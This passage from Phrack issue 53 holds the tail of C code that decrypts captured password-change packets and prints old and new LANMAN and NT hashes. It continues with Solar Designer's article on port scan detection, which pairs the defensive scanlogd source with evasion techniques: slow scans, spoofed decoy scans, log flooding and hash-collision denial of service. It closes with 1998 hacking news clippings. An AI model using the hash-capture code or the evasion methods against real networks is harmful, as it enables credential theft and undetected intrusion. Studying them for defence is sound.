des_ecb_encrypt((des_cblock *)pkt‑>passwds.new_lanman,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt‑>passwds.new_lanman + 8), (des_cblock *)out2, ks, 0); printf(" New LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);

des_ecb_encrypt((des_cblock *)pkt‑>passwds.old_nt,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt‑>passwds.old_nt + 8), (des_cblock *)out2, ks, 0); printf(" Old NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);

des_ecb_encrypt((des_cblock *)pkt‑>passwds.new_nt,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt‑>passwds.new_nt + 8), (des_cblock *)out2, ks, 0); printf(" New NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);

printf(" New Password Length: %d\n", ntoh16(pkt‑>passwds.pass_length));

kill(pid, SIGTERM);

exit(0);

}

<‑‑>

‑‑‑‑[ EOF

Port Scan Detection Tools

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 13 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Designing and Attacking Port Scan Detection Tools

‑‑‑‑‑‑‑‑[ solar designer <solar@false.com>

‑‑‑‑[ Introduction

The purpose of this article is to show potential problems with intrusion detection systems (IDS), concentrating on one simple attack: port scans.

This lets me cover all components of such a simplified IDS. Also, unlike the great SNI paper (http://www.secnet.com/papers/IDS.PS), this article

is not limited to network‑based tools. In fact, the simple and hopefully reliable example port scan detection tool ("scanlogd") that you'll find at the end is host‑based.

‑‑‑‑[ What Can We Detect?

A port scan involves an attacker trying many destination ports, usually including some that turn out not to be listening. One "signature" that could be used for detecting port scans is "several packets to different destination ports from the same source address within a short period of time". Another such signature could be "SYN to a non‑listening port". Obviously, there are many other ways to detect port scans, up to dumping all the packet headers to a file and analyzing them manually (ouch).

All of these different methods have their own advantages and disadvantages, resulting in different numbers of "false positives" and "false negatives". Now, let me show that, for this particular attack type, it is always possible for an attacker to make her attack either very unlikely to be noticed, or very unlikely to be traced to its real origin, while still being able to obtain the port number information.

To obscure the attack, an attacker could do the scan very slowly. Unless the target system is normally idle (in which case one packet to a non‑listening port is enough for the admin to notice, not a likely real world situation), it is possible to make the delay between ports large enough for this to be likely not recognized as a scan.

A way to hide the origin of a scan, while still receiving the information, is to send a large amount (say, 999) of spoofed "port scans", and only on scan from the real source address. Even if all the scans (1000 of them) are detected and logged, there's no way to tell which of the source addresses is real. All we can tell is that we've been port scanned.

Note that, while these attacks are possible, they obviously require more resources from the attacker to perform. Some attackers will likely choose not to use such complicated and/or slow attacks, and others will have to pay with their time. This alone is enough reason to still detect at least some port scans (the ones that are detectable).

The possibility of such attacks means that our goal is not to detect all port scans (which is impossible), but instead, in my opinion, to detect as many port scan kinds as possible while still being reliable enough.

‑‑‑‑[ What Information Can We Trust?

Obviously, the source address can be spoofed, so we can't trust it unless other evidence is available. However, port scanners sometimes leak extra information that can be used to tell something about the real origin of a spoofed port scan.

For example, if the packets we receive have an IP TTL of 255 at our end, we know for sure that they're being sent from our local network regardless of what the source address field says. However, if TTL is 250, we can only tell that the attacker was no more than 5 hops away, we can't tell how far exactly she was for sure.

Starting TTL and source port number(s) can also give us a hint of what port scanner type (for "stealth" scans) or operating system (for full TCP connection scans) is used by the attacker. We can never be sure though. For example, nmap sets TTL to 255 and source port to 49724, while Linux kernel sets TTL to 64.

‑‑‑‑[ Information Source (E‑box) Choice

For detecting TCP port scans, including "stealth" ones, we need access to raw IP and TCP packet headers.

In a network‑based IDS, we would use promiscuous mode for obtaining the raw packets. This has all the problems described in the SNI paper: both false positives and false negatives are possible. However, sometimes this might be acceptable for this attack type since it is impossible to detect all port scans anyway.

For a host‑based IDS, there are two major ways of obtaining the packets: reading from a raw TCP or IP socket, or getting the data directly inside the kernel (via a loadable module or a kernel patch).

When using a raw TCP socket, most of the problems pointed out by SNI do not apply: we are only getting the packets recognized by our own kernel. However, this is still passive analysis (we might miss packets) and a fail‑open system. While probably acceptable for port scans only, this is not a good design if we later choose to detect other attacks. If we used a raw IP socket instead (some systems don't have raw TCP sockets), we would have more of the "SNI problems" again. Anyway, in my example code, I'm using a raw TCP socket.

The most reliable IDS is one with some support from the target systems kernel. This has access to all the required information, and can even be fail‑close. The obvious disadvantage is that kernel modules and patches aren't very portable.

‑‑‑‑[ Attack Signature (A‑box) Choice

It has already been mentioned above that different signatures can be used to detect port scans; they differ by numbers of false positives and false negatives. The attack signature that we choose should keep false positives as low as possible while still keeping false negatives reasonably low. It is however not obvious what to consider reasonable. In my opinion, this should depend on the severity of the attack we're detecting (the cost of a false negative), and on the actions taken for a detected attack (the cost of a false positive). Both of these costs can differ from site to site, so an IDS should be user‑tunable.

For scanlogd, I'm using the following attack signature: "at least COUNT ports need to be scanned from the same source address, with no longer than DELAY ticks between ports". Both COUNT and DELAY are configurable. A TCP port is considered to be scanned when receiving a packet without the ACK bit set.

‑‑‑‑[ Logging the Results (D‑box)

Regardless of where we write our logs (a disk file, a remote system, or maybe even a printer), our space is limited. When storage is full, results will get lost. Most likely, either the logging stops, or old entries get replaced with newer ones.

An obvious attack is to fill up the logs with unimportant information, and then do the real attack with the IDS effectively disabled. For the port scans example, spoofed "port scans" could be used to fill up the logs, and the real attack could be a real port scan, possibly followed by a breakin. This example shows how a badly coded port scan detection tool could be used to avoid logging of the breakin attempt, which would get logged if the tool wasn't running.

One solution for this problem would be to put rate limits (say, no more than 5 messages per 20 seconds) on every attack type separately, and, when the limit is reached, log this fact, and temporarily stop logging of attacks of this type. For attack types that can't be spoofed, such limits could be put per source address instead. Since port scans can be spoofed, this still lets an attacker not reveal her real address, but this doesn't let her hide another attack type this way, like she could do if we didn't implement the rate limits... that's life. This is what I implemented in scanlogd.

Another solution, which has similar advantages and disadvantages, is to allocate space for messages from every attack type separately. Both of these solutions can be implemented simultaneously.

‑‑‑‑[ What To Do About Port Scans? (R‑box)

Some IDS are capable of responding to attacks they detect. The actions are usually directed to prevent further attacks and/or to obtain extra information about the attacker. Unfortunately, these features can often be abused by a smart attacker.

A typical action is to block the attacking host (re‑configuring access lists of the firewall, or similar). This leads to an obvious Denial of Service (DoS) vulnerability if the attack we're detecting is spoofable (like a port scan is). It is probably less obvious that this leads to DoS vulnerabilities for non‑spoofable attack types, too. That's because IP addresses are sometimes shared between many people; this is the case for ISP shell servers and dynamic dialup pools.

There are also a few implementation problems with this approach: firewall access lists, routing tables, etc... are all of a limited size. Also, even before the limit is reached, there are CPU usage issues. If an IDS is not aware of these issues, this can lead to DoS of the entire network (say, if the firewall goes down).

In my opinion, there're only very few cases in which such an action might be justified. Port scans are definitely not among those.

Another common action is to connect back to the attacking host to obtain extra information. For spoofable attacks, we might end up being used in attacking a third‑party. We'd better not do anything for such attacks, including port scans.

However, for non‑spoofable attacks, this might be worth implementing in some cases, with a lot of precautions. Mainly, we should be careful not to consume too many resources, including bandwidth (should limit request rate regardless of the attack rate, and limit the data size), CPU time, and memory (should have a timeout, and limit the number of requests that we do at a time). Obviously, this means that an attacker can still make some of the requests fail, but there's nothing we can do here.

See ftp://ftp.win.tue.nl/pub/security/murphy.ps.gz for an example of the

issues involved. This paper by Wietse Venema details similar vulnerabilities in older versions of his famous TCP wrapper package.

For these reasons, scanlogd doesn't do anything but log port scans. You should probably take action yourself. What exactly you do is a matter of taste; I personally only check my larger logs (that I'm not checking normally) for activity near the port scan time.

‑‑‑‑[ Data Structures and Algorithm Choice

When choosing a sorting or data lookup algorithm to be used for a normal application, people are usually optimizing the typical case. However, for IDS the worst case scenario should always be considered: an attacker can supply our IDS with whatever data she likes. If the IDS is fail‑open, she would then be able to bypass it, and if it's fail‑close, she could cause a DoS for the entire protected system.

Let me illustrate this by an example. In scanlogd, I'm using a hash table to lookup source addresses. This works very well for the typical case as long as the hash table is large enough (since the number of addresses we keep is limited anyway). The average lookup time is better than that of a binary search. However, an attacker can choose her addresses (most likely spoofed) to cause hash collisions, effectively replacing the hash table lookup with a linear search. Depending on how many entries we keep, this might make scanlogd not be able to pick new packets up in time. This will also always take more CPU time from other processes in a host‑based IDS like scanlogd.

I've solved this problem by limiting the number of hash collisions, and discarding the oldest entry with the same hash value when the limit is reached. This is acceptable for port scans (remember, we can't detect all scans anyway), but might not be acceptable for detecting other attacks. If we were going to support some other attack type also, we would have to switch to a different algorithm instead, like a binary search.

If we're using a memory manager (such as malloc(3) and free(3) from our libc), an attacker might be able to exploit its weaknesses in a similar way. This might include CPU usage issues and memory leaks because of not being able to do garbage collection efficiently enough. A reliable IDS should have its very own memory manager (the one in libc can differ from system to system), and be extremely careful with its memory allocations. For a tool as simple as scanlogd is, I simply decided not to allocate any memory dynamically at all.

It is probably worth mentioning that similar issues also apply to things like operating system kernels. For example, hash tables are widely used there for looking up active connections, listening ports, etc. There're usually other limits which make these not really dangerous though, but more research might be needed.

‑‑‑‑[ IDS and Other Processes

For network‑based IDS that are installed on a general‑purpose operating system, and for all host‑based IDS, there's some interaction of the IDS with the rest of the system, including other processes and the kernel.

Some DoS vulnerabilities in the operating system might allow an attacker to disable the IDS (of course, only if it is fail‑open) without it ever noticing. This can be done via vulnerabilities in both the kernel (like "teardrop") and in other processes (like having a UDP service enabled in inetd without a connection count limit and any resource limits).

Similarly, a poorly coded host‑based IDS can be used for DoS attacks on other processes of the "protected" system.

‑‑‑‑[ Example Code

Finally, here you get scanlogd for Linux. It may compile on other systems too, but will likely not work because of the lack of raw TCP sockets. For future versions see http://www.false.com/security/scanlogd/.

NOTE THAT SOURCE ADDRESSES REPORTED CAN BE SPOOFED, DON'T TAKE ANY ACTION AGAINST THE ATTACKER UNLESS OTHER EVIDENCE IS AVAILABLE.

<++> Scanlogd/scanlogd.c

/*

* Linux scanlogd v1.0 by Solar Designer. You're allowed to do whatever you * like with this software (including re‑distribution in any form, with or * without modification), provided that credit is given where it is due, and * any modified versions are marked as such. There's absolutely no warranty. */

#include <stdio.h>

#include <unistd.h>

#include <signal.h>

#include <string.h>

#include <ctype.h>

#include <time.h>

#include <syslog.h>

#include <sys/times.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in_systm.h>

#include <netinet/in.h>

#if (linux)

#define __BSD_SOURCE

#endif

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <arpa/inet.h>

/*

* Port scan detection thresholds: at least COUNT ports need to be scanned * from the same source, with no longer than DELAY ticks between ports. */

#define SCAN_COUNT_THRESHOLD10

#define SCAN_DELAY_THRESHOLD(CLK_TCK * 5)

/*

* Log flood detection thresholds: temporarily stop logging if more than * COUNT port scans are detected with no longer than DELAY between them. */

#define LOG_COUNT_THRESHOLD5

#define LOG_DELAY_THRESHOLD(CLK_TCK * 20)

/*

* You might want to adjust these for using your tiny append‑only log file. */

#define SYSLOG_IDENT"scanlogd"

#define SYSLOG_FACILITYLOG_DAEMON

#define SYSLOG_LEVELLOG_ALERT

/*

* Keep track of up to LIST_SIZE source addresses, using a hash table of * HASH_SIZE entries for faster lookups, but limiting hash collisions to * HASH_MAX source addresses per the same hash value.

*/

#define LIST_SIZE0x400

#define HASH_LOG11

#define HASH_SIZE(1 << HASH_LOG)

#define HASH_MAX0x10

/*

* Packet header as read from a raw TCP socket. In reality, the TCP header * can be at a different offset; this is just to get the total size right. */

struct header {

struct ip ip;

struct tcphdr tcp;

char space[60 ‑ sizeof(struct ip)];

};

/*

* Information we keep per each source address.

*/

struct host {

struct host *next;/* Next entry with the same hash */

clock_t timestamp;/* Last update time */

time_t start;/* Entry creation time */

struct in_addr saddr, daddr;/* Source and destination addresses */

unsigned short sport;/* Source port, if fixed */

int count;/* Number of ports in the list */

unsigned short ports[SCAN_COUNT_THRESHOLD ‑ 1];/* List of ports */

unsigned char flags_or;/* TCP flags OR mask */

unsigned char flags_and;/* TCP flags AND mask */

unsigned char ttl;/* TTL, if fixed */

};

/*

* State information.

*/

struct {

struct host list[LIST_SIZE];/* List of source addresses */

struct host *hash[HASH_SIZE];/* Hash: pointers into the list */

int index;/* Oldest entry to be replaced */

} state;

/*

* Convert an IP address into a hash table index.

*/

int hashfunc(struct in_addr addr)

{

unsigned int value;

int hash;

value = addr.s_addr;

hash = 0;

do {

hash ^= value;

} while ((value >>= HASH_LOG));

return hash & (HASH_SIZE ‑ 1);

}

/*

* Log this port scan.

*/

void do_log(struct host *info)

{

char s_saddr[32];

char s_daddr[32 + 8 * SCAN_COUNT_THRESHOLD];

char s_flags[8];

char s_ttl[16];

char s_time[32];

int index, size;

unsigned char mask;

/* Source address and port number, if fixed */

snprintf(s_saddr, sizeof(s_saddr),

info‑>sport ? "%s:%u" : "%s",

inet_ntoa(info‑>saddr),

(unsigned int)ntohs(info‑>sport));

/* Destination address, if fixed */

size = snprintf(s_daddr, sizeof(s_daddr),

info‑>daddr.s_addr ? "%s ports " : "ports ", inet_ntoa(info‑>daddr));

/* Scanned port numbers */

for (index = 0; index < info‑>count; index++)

size += snprintf(s_daddr + size, sizeof(s_daddr) ‑ size, "%u, ", (unsigned int)ntohs(info‑>ports[index]));

/* TCP flags: lowercase letters for "always clear", uppercase for "always

* set", and question marks for "sometimes set". */

for (index = 0; index < 6; index++) {

mask = 1 << index;

if ((info‑>flags_or & mask) == (info‑>flags_and & mask)) { s_flags[index] = "fsrpau"[index];

if (info‑>flags_or & mask)

s_flags[index] = toupper(s_flags[index]);

} else

s_flags[index] = '?';

}

s_flags[index] = 0;

/* TTL, if fixed */

snprintf(s_ttl, sizeof(s_ttl), info‑>ttl ? ", TTL %u" : "", (unsigned int)info‑>ttl);

/* Scan start time */

strftime(s_time, sizeof(s_time), "%X", localtime(&info‑>start));

/* Log it all */

syslog(SYSLOG_LEVEL,

"From %s to %s..., flags %s%s, started at %s",

s_saddr, s_daddr, s_flags, s_ttl, s_time);

}

/*

* Log this port scan unless we're being flooded.

*/

void safe_log(struct host *info)

{

static clock_t last = 0;

static int count = 0;

clock_t now;

now = info‑>timestamp;

if (now ‑ last > LOG_DELAY_THRESHOLD || now < last) count = 0; if (++count <= LOG_COUNT_THRESHOLD + 1) last = now;

if (count <= LOG_COUNT_THRESHOLD) {

do_log(info);

} else if (count == LOG_COUNT_THRESHOLD + 1) { syslog(SYSLOG_LEVEL, "More possible port scans follow.\n");

}

}

/*

* Process a TCP packet.

*/

void process_packet(struct header *packet, int size)

{

struct ip *ip;

struct tcphdr *tcp;

struct in_addr addr;

unsigned short port;

unsigned char flags;

struct tms buf;

clock_t now;

struct host *current, *last, **head;

int hash, index, count;

/* Get the IP and TCP headers */

ip = &packet‑>ip;

tcp = (struct tcphdr *)((char *)packet + ((int)ip‑>ip_hl << 2));

/* Sanity check */

if ((char *)tcp + sizeof(struct tcphdr) > (char *)packet + size) return;

/* Get the source address, destination port, and TCP flags */

addr = ip‑>ip_src;

port = tcp‑>th_dport;

flags = tcp‑>th_flags;

/* We're using IP address 0.0.0.0 for a special purpose here, so don't let

* them spoof us. */

if (!addr.s_addr) return;

/* Use times(2) here not to depend on someone setting the time while we're

* running; we need to be careful with possible return value overflows. */

now = times(&buf);

/* Do we know this source address already? */

count = 0;

last = NULL;

if ((current = *(head = &state.hash[hash = hashfunc(addr)]))) do {

if (current‑>saddr.s_addr == addr.s_addr) break;

count++;

if (current‑>next) last = current;

} while ((current = current‑>next));

/* We know this address, and the entry isn't too old. Update it. */

if (current)

if (now ‑ current‑>timestamp <= SCAN_DELAY_THRESHOLD &&

now >= current‑>timestamp) {

/* Just update the TCP flags if we've seen this port already */

for (index = 0; index < current‑>count; index++)

if (current‑>ports[index] == port) {

current‑>flags_or |= flags;

current‑>flags_and &= flags;

return;

}

/* ACK to a new port? This could be an outgoing connection. */

if (flags & TH_ACK) return;

/* Packet to a new port, and not ACK: update the timestamp */

current‑>timestamp = now;

/* Logged this scan already? Then leave. */

if (current‑>count == SCAN_COUNT_THRESHOLD) return;

/* Update the TCP flags */

current‑>flags_or |= flags;

current‑>flags_and &= flags;

/* Zero out the destination address, source port and TTL if not fixed. */

if (current‑>daddr.s_addr != ip‑>ip_dst.s_addr) current‑>daddr.s_addr = 0;

if (current‑>sport != tcp‑>th_sport)

current‑>sport = 0;

if (current‑>ttl != ip‑>ip_ttl)

current‑>ttl = 0;

/* Got enough destination ports to decide that this is a scan? Then log it. */

if (current‑>count == SCAN_COUNT_THRESHOLD ‑ 1) { safe_log(current);

current‑>count++;

return;

}

/* Remember the new port */

current‑>ports[current‑>count++] = port;

return;

}

/* We know this address, but the entry is outdated. Mark it unused, and

* remove from the hash table. We'll allocate a new entry instead since * this one might get re‑used too soon. */

if (current) {

current‑>saddr.s_addr = 0;

if (last)

last‑>next = last‑>next‑>next;

else if (*head)

*head = (*head)‑>next;

last = NULL;

}

/* We don't need an ACK from a new source address */

if (flags & TH_ACK) return;

/* Got too many source addresses with the same hash value? Then remove the

* oldest one from the hash table, so that they can't take too much of our * CPU time even with carefully chosen spoofed IP addresses. */

if (count >= HASH_MAX && last) last‑>next = NULL;

/* We're going to re‑use the oldest list entry, so remove it from the hash

* table first (if it is really already in use, and isn't removed from the * hash table already because of the HASH_MAX check above). */

/* First, find it */

if (state.list[state.index].saddr.s_addr)

head = &state.hash[hashfunc(state.list[state.index].saddr)]; else

head = &last;

last = NULL;

if ((current = *head))

do {

if (current == &state.list[state.index]) break;

last = current;

} while ((current = current‑>next));

/* Then, remove it */

if (current) {

if (last)

last‑>next = last‑>next‑>next;

else if (*head)

*head = (*head)‑>next;

}

/* Get our list entry */

current = &state.list[state.index++];

if (state.index >= LIST_SIZE) state.index = 0;

/* Link it into the hash table */

head = &state.hash[hash];

current‑>next = *head;

*head = current;

/* And fill in the fields */

current‑>timestamp = now;

current‑>start = time(NULL);

current‑>saddr = addr;

current‑>daddr = ip‑>ip_dst;

current‑>sport = tcp‑>th_sport;

current‑>count = 1;

current‑>ports[0] = port;

current‑>flags_or = current‑>flags_and = flags;

current‑>ttl = ip‑>ip_ttl;

}

/*

* Hmm, what could this be?

*/

int main()

{

int raw, size;

struct header packet;

/* Get a raw socket. We could drop root right after that. */

if ((raw = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { perror("socket");

return 1;

}

/* Become a daemon */

switch (fork()) {

case ‑1:

perror("fork");

return 1;

case 0:

break;

default:

return 0;

}

signal(SIGHUP, SIG_IGN);

/* Initialize the state. All source IP addresses are set to 0.0.0.0, which

* means the list entries aren't in use yet. */

memset(&state, 0, sizeof(state));

/* Huh? */

openlog(SYSLOG_IDENT, 0, SYSLOG_FACILITY);

/* Let's start */

while (1)

if ((size = read(raw, &packet, sizeof(packet))) >= sizeof(packet.ip)) process_packet(&packet, size);

}

Phrack World News

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 14 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K W O R L D N E W S

‑‑‑‑‑‑‑‑[ Issue 53

Hi. A few changes have been made to Phrack World News (PWN). Because of the increase of news on the net, security, hackers and other PWN topics, it is getting more difficult to keep Phrack readers informed of everything. To combat this problem, PWN will include more articles, but only relevant portions (or the parts I want to make smart ass remarks about). If you would like to read the full article, look through the ISN (InfoSec News) archives located at:

ftp.sekurity.org /pub/text/isn ftp.repsec.com /pub/text/digests/isn

The following articles have been accumulated from a wide variety of places. When known, original source/author/date has been included. If the information is absent, then it wasn't sent to us. If you wish to receive more news, the ISN mail list caters to this. For more information, mail majordomo@sekurity.org with "info isn". To subscribe, mail majordomo@sekurity.org with "subscribe isn" in the body of the mail.

As usual, I am putting some of my own comments in brackets to help readers realize a few things left out of the articles. Comments are my own, and do not necessarily represent the views of Phrack, journalists, government spooks, my cat, or anyone else. Bye.

‑ disorder

0x1: Identifying Net Criminals Difficult

0x2: "The Eight" meet to combat high‑tech crime

0x3: Fired Forbes Technician Charged With Sabotage

0x4: Internet Industry Asked to Police Itself

0x5: Internet may be Hackers Best Friend

0x6: Hacker Cripples Airport Tower

0x7: Profits Embolden Hackers

0x8: Cyberattacks spur new warning system

0x9: <pure lameness>

0xa: IBM's Ethical Hackers Broke In!

0xb: Two accused of conspiring to hack into CWRU system

0xc: FBI Warns of Big Increase In On‑line Crime

0xd: Computer hacker jailed for 18 months

0xe: Afternoon Line

0xf: Hacking Geniuses or Monkeys

0x10: Low Tech Spooks ‑ Corporate Spies

0x11: 'White Hat' Hackers Probe Pores in Computer Security Blankets 0x12: 101 Ways to Hack into Windows NT

0x13: Suspected NASA Hacker Nabbed

0x14: CEOs Hear the Unpleasant Truth about Computer Security 0x15: Codebreakers

0x16: Hackers Could Disable Military

0x17: Secret Service Hackers Can't Crack Internet

0x18: Now Hiring: Hackers (Tattoos Welcome)

0x19: Hacker Stoppers?

0x1a: Hackers' Dark Side Gets Even Darker

0x1b: Japan Fears It's Becoming a Base for Hackers

0x1c: Kevin Mitnick Hacker Case Drags On and On

0x1d: Millions Lost to Phone Hackers

0x1e: Hackers on the Hill

0x1f: RSA Sues Network Associates

0x20: Clinton to Outline Cyberthreat Policy

0x21: Programmer Sentenced for Military Computer Intrusion

0x22: Editorial ‑ Hacker vs Cracker, Revisited

0x23: Windows NT Security Under Fire

0x24: New Decoy Technology Designed to Sting Hackers

0x25: Reno dedicates high‑tech crime fighting center

0x26: Man poses as astronaut steals NASA secrets

0x27: Convention: Defcon 6.0

0x28: Convention: Network Security Solutions July Event

0x29: Convention: 8th USENIX Security Symposium

0x2a: Convention: RAID 98

0x2b: Convention: Computer Security Area (ASC) / DGSCA 98

0x2c: Convention: InfoWarCon‑9

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Identifying Net Criminals Difficult

Source: 7Pillars Partners

Author: David Plotnikoff (Mercury News Staff Writer)

Date: 10:12 p.m. PST Sunday, March 8, 1998

[snip...]

What began as an innocent chat‑room flirtation isn't so innocent anymore. The last e‑mail message you received began: ``I know where you live. I know where you work. I know where your kids go to day care. . . .'' Potential loss: Your life.

There is no way to calculate how many hundreds or thousands of times each day the Net brings crime into some unsuspecting person's life. But a report released by the Computer Security Institute found that nearly two‑thirds of the 520 corporations, government offices, financial institutions and universities queried had experienced electronic break‑ins or other security breaches in the past 12 months.

Although fewer than half the companies assigned a dollar amount to their losses, the estimated total from those that did is staggering: $236 million for the last two years.

[More estimates on losses, no doubt from accurate estimations

by professionals.]

[snip...]

But those charged with enforcing the law in cyberspace say the vast majority of Net‑borne crime never reaches the criminal justice system. And in the relatively few instances where a crime is reported, most often the criminal's true identity is never found.

The San Jose Police Department's elite high‑tech crimes unit is every citizen's first line of defense when trouble comes down the wire in the capital city of Silicon Valley. But today, four years after the explosion of the Internet as a mass market, even the top technology‑crimes police unit in the country finds itself with just a handful of Internet crimes to investigate.

[Wait... they say criminals get away with everything, then call the Police an "elite" high‑tech crimes unit?]

[snip...]

The Internet slice of the job ‑‑ chasing down hackers, stalkers and assorted scammers ‑‑ is too small to even keep statistics on. When pressed for a guess, Sgt. Don Brister, the unit's supervisor, estimates that Internet and online‑service crimes make up ``probably no more than 3 or 4 percent'' of the team's workload.

[snip...]

While most Net crimes are actually old crimes ‑‑ stalking, harassment, fraud and theft ‑‑ in a new venue, there is at least one criminal act entirely native to cyberia: ``denial of service'' attacks.

[Route, you're such a criminal.]

[snip...]

``The scary part,'' Lowry says, ``is we know the storm is coming, but we don't know exactly what shape it's going to take. The scale is huge. . . . You're sitting on this beach, knowing it's going to hit, but you don't know what it is or when it's going to hit.''

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: "The Eight" meet to combat high‑tech crime

Date: Jan 1998

Recently, U.S. Attorney General Janet Reno hosted a historic meeting of Justice and Interior officials from the countries that constitute "the Eight" on ways to combat international computer crime. (Formerly dubbed the G‑7, the group now includes Russia along with the United Kingdom, France, Germany, Italy, Canada, Japan, and the U.S.)

The meeting was the first of its kind and resulted in an agreement endorsing ten principles, such as "Investigation and prosecution of international high‑tech crimes must be coordinated among all concerned states, regardless of where harm has occurred;" and adopting a ten‑point action plan, for example, "Use our established network of knowledgeable personnel to ensure a timely, effective response to transnational high‑tech cases and designate a point‑of‑contract who is available on a 24 hour basis."

The full text will be available at http://www.usdoj.gov.

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Fired Forbes Technician Charged With Sabotage

Source: Dow Jones News Service

Date: 11/25/97

A temporary staff computer technician has been charged with breaking into the computer system of Forbes, Inc., publisher of Forbes magazine, and causing a computer crash that cost the company more than $100,000.

According to the complaint against George Mario Parente, the sabotage left hundreds of Forbes employees unable to perform server‑related functions for a full day and caused many employees to lose a day's worth of data. If convicted, Parente faces up to five years in prison and a maximum fine of $250,000.

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Internet Industry Asked to Police Itself

SEATTLE ‑‑ The Internet industry had better police itself or it will face renewed threats of government regulation, participants said Wednesday at a Seattle conference of technology leaders from throughout North America as well as Europe and Japan.

[And they've done such a good job so far, with legislation like the CDA and WIPO... sure, we can trust the government to do the right thing.]

[snip...]

Balkam warned that Arizona Sen. John McCain plans hearings next month on the topic, and that Indiana Sen. Dan Coats plans to introduce a new content‑regulation bill designed to avoid the problems that caused the Supreme Court to reject the first one.

[Everyone keep your eyes peeled.]

Wednesday's discussion was well‑timed; the conference will hear Thursday from President Clinton's Internet czar, Ira Magaziner, who is expected to deliver a stern admonition that government won't hesitate to step in if the industry's own efforts fall short.

Sponsored by GTE, Telus Corp. and the Discovery Institute, the program also included Rep. Rick White, R‑Washington, founder of the Congressional Internet Caucus and Rob Glaser, founder of Seattle‑based RealNetworks and a proponent of the Internet as the ``next mass medium.''

While Wednesday's sessions focused on content regulation, Thursday's deal more with electronic commerce and such issues as privacy, authentication and legal jurisdiction.

Effective self‑regulation has several keys, said Jim Miller, architect of a system known as PICS, the Platform for Internet Content Selection.

[snip...]

0x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Internet may be Hackers Best Friend

The Internet may be the computer hacker's best friend. The international computer network has made the sharing of sophisticated break‑in tools easier, computer security experts say.

[But they don't mention the sharing of security information, or the fact that the experts can subscribe to the same 'hacker' sharing sources.]

[snip...]

A report released Wednesday by the Computer Security Institute noted that while both external and internal computer crime is on the rise, the greatest losses result from unauthorized access by insiders.

``Those are the attacks that cause tens of millions of dollars,'' Power said.

But it's still the outside jobs that grab headlines. A Defense Department official last week termed the attack linked to the young hackers ``the most organized and systematic attack the Pentagon has seen to date.''

[snip...]

0x6>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hacker Cripples Airport Tower

A juvenile hacker who crippled an airport tower for six hours, damaged a town's phone system, and broke into pharmacy records has been charged in a first‑ever federal prosecution, the U.S. Attorney's office announced today.

But in a plea bargain, the juvenile will serve no jail time, the government announced.

The incidents occurred in early 1997, but the federal criminal charges were unsealed just today. The government said it was the first federal prosecution ever of a minor for a computer crime.

According to U.S. Attorney Donald K. Stern, the hacker disabled a key telephone company computer servicing the Worcester airport, roughly 45 miles southwest of Boston.

"As a result of a series of commands sent from the hacker's personal computer, vital services to the FAA control tower were disabled for six hours in March of 1997," a release from Stern's office said.

[So the FAA routes vital tower control through the PSTN? Scary...]

[snip...]

The plea agreement sentences the juvenile to two years' probation, "during which he may not possess or use a modem or other means of remotely accessing a computer or computer network directly or indirectly," according to Stern

In addition, he must pay restitution to the telephone company and complete 250 hours of community service. He has been required to forfeit all of the computer equipment used during his criminal activity.

[snip...]

"Public health and safety were threatened by the outage, which resulted in the loss of telephone service, until approximately 3:30 p.m., to the Federal Aviation Administration Tower at the Worcester Airport, to the Worcester Airport Fire Department, and to other related concerns such as airport security, the weather service, and various private air freight companies.

"Further, as a result of the outage, both the main radio transmitter, which is connected to the tower by the loop carrier system, and a circuit, which enables aircraft to send an electric signal to activate the runway lights on approach, were not operational for this same period of time."

[NICE design guys... real nice.]

[snip...]

0x7>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Profits Embolden Hackers

Source: InternetWeek

Author: Tim Wilson

Conventional wisdom says that most IT security threats come from inside the company, not outside. Any guess who's reaping the greatest benefit from that little piece of wisdom?

Hackers and computer criminals.

In two separate studies completed this month, Fortune 1000 companies reported more financial losses due to computer vandalism and espionage in 1997 than they ever experienced before. Several corporations said they lost $10 million or more in a single break‑in. And reports of system break‑ins at the Computer Emergency Response Team site are the highest they've ever been.

